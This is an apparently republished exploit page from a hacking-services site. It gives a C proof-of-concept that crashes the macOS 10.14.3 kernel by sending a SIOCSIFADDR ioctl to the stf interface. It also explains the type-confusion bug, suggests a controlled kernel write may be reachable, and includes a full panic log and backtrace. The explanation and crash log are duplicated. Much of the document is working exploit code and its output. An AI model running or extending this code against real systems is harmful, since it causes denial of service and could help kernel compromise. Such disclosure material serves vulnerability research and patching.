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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*

# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read

# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.

	case SIOCSIFADDR:
		ifa = (struct ifaddr *)data;
		if (ifa == NULL) {
			error = EAFNOSUPPORT;
			break;
		}
		IFA_LOCK(ifa);
		if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
			IFA_UNLOCK(ifa);
			error = EAFNOSUPPORT;
			break;
		}

Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).

# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8:  0xffffff805f9db7f0, R9:  0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0

Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>

/*
# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read

# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.

	case SIOCSIFADDR:
		ifa = (struct ifaddr *)data;
		if (ifa == NULL) {
			error = EAFNOSUPPORT;
			break;
		}
		IFA_LOCK(ifa);
		if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
			IFA_UNLOCK(ifa);
			error = EAFNOSUPPORT;
			break;
		}

Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).

# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8:  0xffffff805f9db7f0, R9:  0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0

Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/

#define IPPROTO_IP 0

int main() {
    int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP);
    if (s < 0) {
        printf("failed\n");
        return 1;
    }
    struct ifreq ifr = {};
    memcpy(ifr.ifr_name, "stf0\0000", 8);
    int err = ioctl(s, SIOCSIFADDR, (char *)&ifr);
    close(s);
    printf("done\n");
    return 0;
}